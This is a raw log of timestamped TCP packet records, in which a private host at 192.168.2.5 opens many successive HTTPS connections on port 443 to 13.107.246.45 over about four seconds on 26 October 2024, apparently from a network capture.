Oct 26, 2024 13:46:10.577501059 CEST	49900	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:10.577732086 CEST	49900	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:10.577749014 CEST	443	49900	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:10.577779055 CEST	49900	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:10.577785969 CEST	443	49900	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:10.581351042 CEST	49908	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:10.581394911 CEST	443	49908	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:10.581501961 CEST	49908	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:10.581692934 CEST	49908	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:10.581712008 CEST	443	49908	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:10.650540113 CEST	443	49906	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:10.651206970 CEST	49906	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:10.651227951 CEST	443	49906	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:10.651705980 CEST	49906	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:10.651711941 CEST	443	49906	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:10.700172901 CEST	443	49901	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:10.700803041 CEST	49901	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:10.700813055 CEST	443	49901	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:10.701278925 CEST	49901	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:10.701287031 CEST	443	49901	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:10.780168056 CEST	443	49906	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:10.780177116 CEST	443	49906	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:10.780298948 CEST	443	49906	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:10.780323982 CEST	49906	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:10.780386925 CEST	49906	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:10.780718088 CEST	49906	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:10.780718088 CEST	49906	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:10.780725956 CEST	443	49906	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:10.780734062 CEST	443	49906	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:10.784074068 CEST	49909	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:10.784115076 CEST	443	49909	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:10.784292936 CEST	49909	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:10.784415960 CEST	49909	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:10.784425974 CEST	443	49909	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:10.835527897 CEST	443	49901	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:10.835624933 CEST	443	49901	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:10.835711956 CEST	49901	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:10.835829020 CEST	49901	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:10.835829020 CEST	49901	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:10.835844994 CEST	443	49901	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:10.835853100 CEST	443	49901	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:10.838979006 CEST	49910	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:10.839011908 CEST	443	49910	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:10.839241028 CEST	49910	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:10.839329004 CEST	49910	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:10.839335918 CEST	443	49910	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:11.055181980 CEST	443	49907	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:11.055725098 CEST	49907	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:11.055737019 CEST	443	49907	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:11.056226015 CEST	49907	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:11.056231022 CEST	443	49907	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:11.186158895 CEST	443	49907	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:11.186250925 CEST	443	49907	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:11.186311960 CEST	49907	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:11.186522007 CEST	49907	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:11.186544895 CEST	443	49907	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:11.186558008 CEST	49907	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:11.186563969 CEST	443	49907	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:11.189698935 CEST	49911	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:11.189755917 CEST	443	49911	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:11.189834118 CEST	49911	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:11.190035105 CEST	49911	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:11.190051079 CEST	443	49911	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:11.304028034 CEST	443	49908	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:11.304641962 CEST	49908	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:11.304662943 CEST	443	49908	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:11.305161953 CEST	49908	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:11.305166960 CEST	443	49908	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:11.430911064 CEST	443	49908	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:11.430970907 CEST	443	49908	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:11.431082010 CEST	49908	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:11.431094885 CEST	443	49908	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:11.431118965 CEST	443	49908	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:11.431252956 CEST	49908	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:11.431354046 CEST	49908	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:11.431370020 CEST	443	49908	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:11.431380987 CEST	49908	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:11.431387901 CEST	443	49908	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:11.434374094 CEST	49912	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:11.434448957 CEST	443	49912	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:11.434536934 CEST	49912	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:11.434734106 CEST	49912	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:11.434762001 CEST	443	49912	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:11.446935892 CEST	443	49903	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:11.447622061 CEST	49903	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:11.447639942 CEST	443	49903	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:11.448159933 CEST	49903	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:11.448165894 CEST	443	49903	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:11.537875891 CEST	443	49909	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:11.538672924 CEST	49909	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:11.538701057 CEST	443	49909	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:11.539247036 CEST	49909	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:11.539253950 CEST	443	49909	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:11.576833010 CEST	443	49903	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:11.577014923 CEST	443	49903	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:11.577096939 CEST	49903	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:11.577239990 CEST	49903	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:11.577294111 CEST	443	49903	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:11.577311993 CEST	49903	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:11.577318907 CEST	443	49903	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:11.580626011 CEST	49913	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:11.580655098 CEST	443	49913	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:11.580748081 CEST	49913	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:11.580919981 CEST	49913	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:11.580934048 CEST	443	49913	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:11.585973978 CEST	443	49910	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:11.586549044 CEST	49910	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:11.586558104 CEST	443	49910	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:11.587004900 CEST	49910	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:11.587011099 CEST	443	49910	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:11.671127081 CEST	443	49909	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:11.671190977 CEST	443	49909	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:11.671288967 CEST	49909	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:11.671303988 CEST	443	49909	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:11.671344995 CEST	443	49909	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:11.671403885 CEST	49909	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:11.671675920 CEST	49909	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:11.671690941 CEST	443	49909	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:11.671721935 CEST	49909	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:11.671729088 CEST	443	49909	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:11.675287962 CEST	49915	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:11.675316095 CEST	443	49915	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:11.675409079 CEST	49915	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:11.675599098 CEST	49915	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:11.675614119 CEST	443	49915	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:11.719372988 CEST	443	49910	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:11.719404936 CEST	443	49910	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:11.719461918 CEST	443	49910	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:11.719631910 CEST	49910	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:11.722502947 CEST	49910	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:11.722502947 CEST	49910	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:11.722523928 CEST	443	49910	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:11.722532988 CEST	443	49910	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:11.725825071 CEST	49916	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:11.725886106 CEST	443	49916	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:11.725959063 CEST	49916	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:11.726119041 CEST	49916	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:11.726131916 CEST	443	49916	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:11.927236080 CEST	443	49911	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:11.928133011 CEST	49911	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:11.928163052 CEST	443	49911	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:11.928883076 CEST	49911	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:11.928890944 CEST	443	49911	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:12.058475971 CEST	443	49911	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:12.058547020 CEST	443	49911	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:12.058852911 CEST	49911	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:12.060251951 CEST	49911	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:12.060276985 CEST	443	49911	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:12.060329914 CEST	49911	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:12.060338020 CEST	443	49911	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:12.066453934 CEST	49917	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:12.066502094 CEST	443	49917	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:12.066576004 CEST	49917	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:12.067028999 CEST	49917	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:12.067049026 CEST	443	49917	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:12.174370050 CEST	443	49912	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:12.174927950 CEST	49912	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:12.174961090 CEST	443	49912	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:12.175472975 CEST	49912	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:12.175496101 CEST	443	49912	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:12.304461956 CEST	443	49912	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:12.304555893 CEST	443	49912	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:12.304685116 CEST	443	49912	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:12.304728985 CEST	49912	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:12.304781914 CEST	49912	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:12.304893970 CEST	49912	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:12.304893970 CEST	49912	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:12.304930925 CEST	443	49912	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:12.304956913 CEST	443	49912	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:12.307794094 CEST	49918	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:12.307898998 CEST	443	49918	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:12.307996988 CEST	49918	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:12.308132887 CEST	49918	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:12.308160067 CEST	443	49918	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:12.332236052 CEST	443	49913	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:12.332914114 CEST	49913	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:12.332933903 CEST	443	49913	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:12.333312988 CEST	49913	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:12.333323002 CEST	443	49913	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:12.464011908 CEST	443	49916	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:12.464554071 CEST	49916	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:12.464581013 CEST	443	49916	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:12.465059042 CEST	49916	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:12.465064049 CEST	443	49916	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:12.466974020 CEST	443	49913	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:12.467053890 CEST	443	49913	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:12.467119932 CEST	49913	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:12.467255116 CEST	49913	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:12.467281103 CEST	443	49913	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:12.467294931 CEST	49913	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:12.467303991 CEST	443	49913	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:12.470066071 CEST	49919	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:12.470093966 CEST	443	49919	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:12.470177889 CEST	49919	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:12.470310926 CEST	49919	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:12.470324993 CEST	443	49919	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:12.594469070 CEST	443	49916	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:12.594573975 CEST	443	49916	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:12.594656944 CEST	49916	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:12.594820023 CEST	49916	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:12.594829082 CEST	443	49916	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:12.594846964 CEST	49916	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:12.594851971 CEST	443	49916	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:12.597598076 CEST	49920	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:12.597623110 CEST	443	49920	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:12.597704887 CEST	49920	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:12.597847939 CEST	49920	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:12.597858906 CEST	443	49920	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:12.789199114 CEST	443	49917	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:12.790004015 CEST	49917	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:12.790028095 CEST	443	49917	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:12.790525913 CEST	49917	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:12.790540934 CEST	443	49917	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:12.918133020 CEST	443	49917	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:12.918173075 CEST	443	49917	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:12.918229103 CEST	443	49917	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:12.918363094 CEST	49917	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:12.918363094 CEST	49917	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:12.918581009 CEST	49917	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:12.918581009 CEST	49917	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:12.918626070 CEST	443	49917	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:12.918657064 CEST	443	49917	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:12.921852112 CEST	49921	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:12.921881914 CEST	443	49921	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:12.921999931 CEST	49921	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:12.922177076 CEST	49921	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:12.922184944 CEST	443	49921	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:13.064251900 CEST	443	49918	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:13.064946890 CEST	49918	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:13.064970016 CEST	443	49918	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:13.065556049 CEST	49918	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:13.065561056 CEST	443	49918	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:13.197377920 CEST	443	49919	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:13.197988987 CEST	49919	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:13.198039055 CEST	443	49919	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:13.198185921 CEST	443	49918	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:13.198354959 CEST	443	49918	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:13.198415995 CEST	49918	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:13.198533058 CEST	49919	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:13.198549032 CEST	443	49919	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:13.198774099 CEST	49918	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:13.198791981 CEST	443	49918	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:13.198824883 CEST	49918	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:13.198831081 CEST	443	49918	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:13.202482939 CEST	49922	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:13.202524900 CEST	443	49922	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:13.202615023 CEST	49922	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:13.202780008 CEST	49922	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:13.202796936 CEST	443	49922	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:13.327071905 CEST	443	49920	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:13.327580929 CEST	49920	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:13.327614069 CEST	443	49920	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:13.328058958 CEST	49920	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:13.328066111 CEST	443	49920	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:13.338576078 CEST	443	49919	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:13.338602066 CEST	443	49919	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:13.338655949 CEST	443	49919	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:13.338656902 CEST	49919	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:13.338702917 CEST	49919	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:13.338906050 CEST	49919	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:13.338932037 CEST	443	49919	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:13.338947058 CEST	49919	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:13.338954926 CEST	443	49919	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:13.343513012 CEST	49923	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:13.343555927 CEST	443	49923	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:13.343698978 CEST	49923	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:13.344049931 CEST	49923	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:13.344063044 CEST	443	49923	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:13.456717968 CEST	443	49920	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:13.456801891 CEST	443	49920	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:13.456864119 CEST	49920	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:13.457144976 CEST	49920	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:13.457161903 CEST	443	49920	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:13.457176924 CEST	49920	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:13.457185984 CEST	443	49920	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:13.460675001 CEST	49924	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:13.460707903 CEST	443	49924	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:13.460807085 CEST	49924	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:13.461023092 CEST	49924	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:13.461031914 CEST	443	49924	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:13.673068047 CEST	443	49921	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:13.674017906 CEST	49921	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:13.674032927 CEST	443	49921	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:13.674621105 CEST	49921	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:13.674627066 CEST	443	49921	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:13.806706905 CEST	443	49921	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:13.806781054 CEST	443	49921	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:13.806966066 CEST	49921	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:13.807286978 CEST	49921	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:13.807305098 CEST	443	49921	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:13.807343960 CEST	49921	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:13.807352066 CEST	443	49921	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:13.810275078 CEST	49925	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:13.810343981 CEST	443	49925	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:13.811176062 CEST	49925	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:13.811439037 CEST	49925	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:13.811465025 CEST	443	49925	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:13.930880070 CEST	443	49922	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:13.931473970 CEST	49922	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:13.931487083 CEST	443	49922	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:13.931993961 CEST	49922	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:13.931999922 CEST	443	49922	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:14.058577061 CEST	443	49922	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:14.058649063 CEST	443	49922	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:14.058759928 CEST	443	49922	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:14.058845997 CEST	49922	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:14.059011936 CEST	49922	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:14.059032917 CEST	443	49922	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:14.059048891 CEST	49922	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:14.059053898 CEST	443	49922	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:14.062411070 CEST	49926	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:14.062460899 CEST	443	49926	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:14.062577963 CEST	49926	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:14.062750101 CEST	49926	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:14.062763929 CEST	443	49926	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:14.091273069 CEST	443	49923	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:14.091746092 CEST	49923	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:14.091758013 CEST	443	49923	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:14.092242002 CEST	49923	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:14.092247009 CEST	443	49923	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:14.207192898 CEST	443	49924	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:14.209559917 CEST	49924	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:14.209572077 CEST	443	49924	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:14.210046053 CEST	49924	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:14.210052013 CEST	443	49924	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:14.224004984 CEST	443	49923	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:14.224203110 CEST	443	49923	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:14.227207899 CEST	49923	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:14.227231979 CEST	49923	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:14.227251053 CEST	443	49923	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:14.227264881 CEST	49923	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:14.227272987 CEST	443	49923	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:14.230135918 CEST	49927	443	192.168.2.5	13.107.246.45
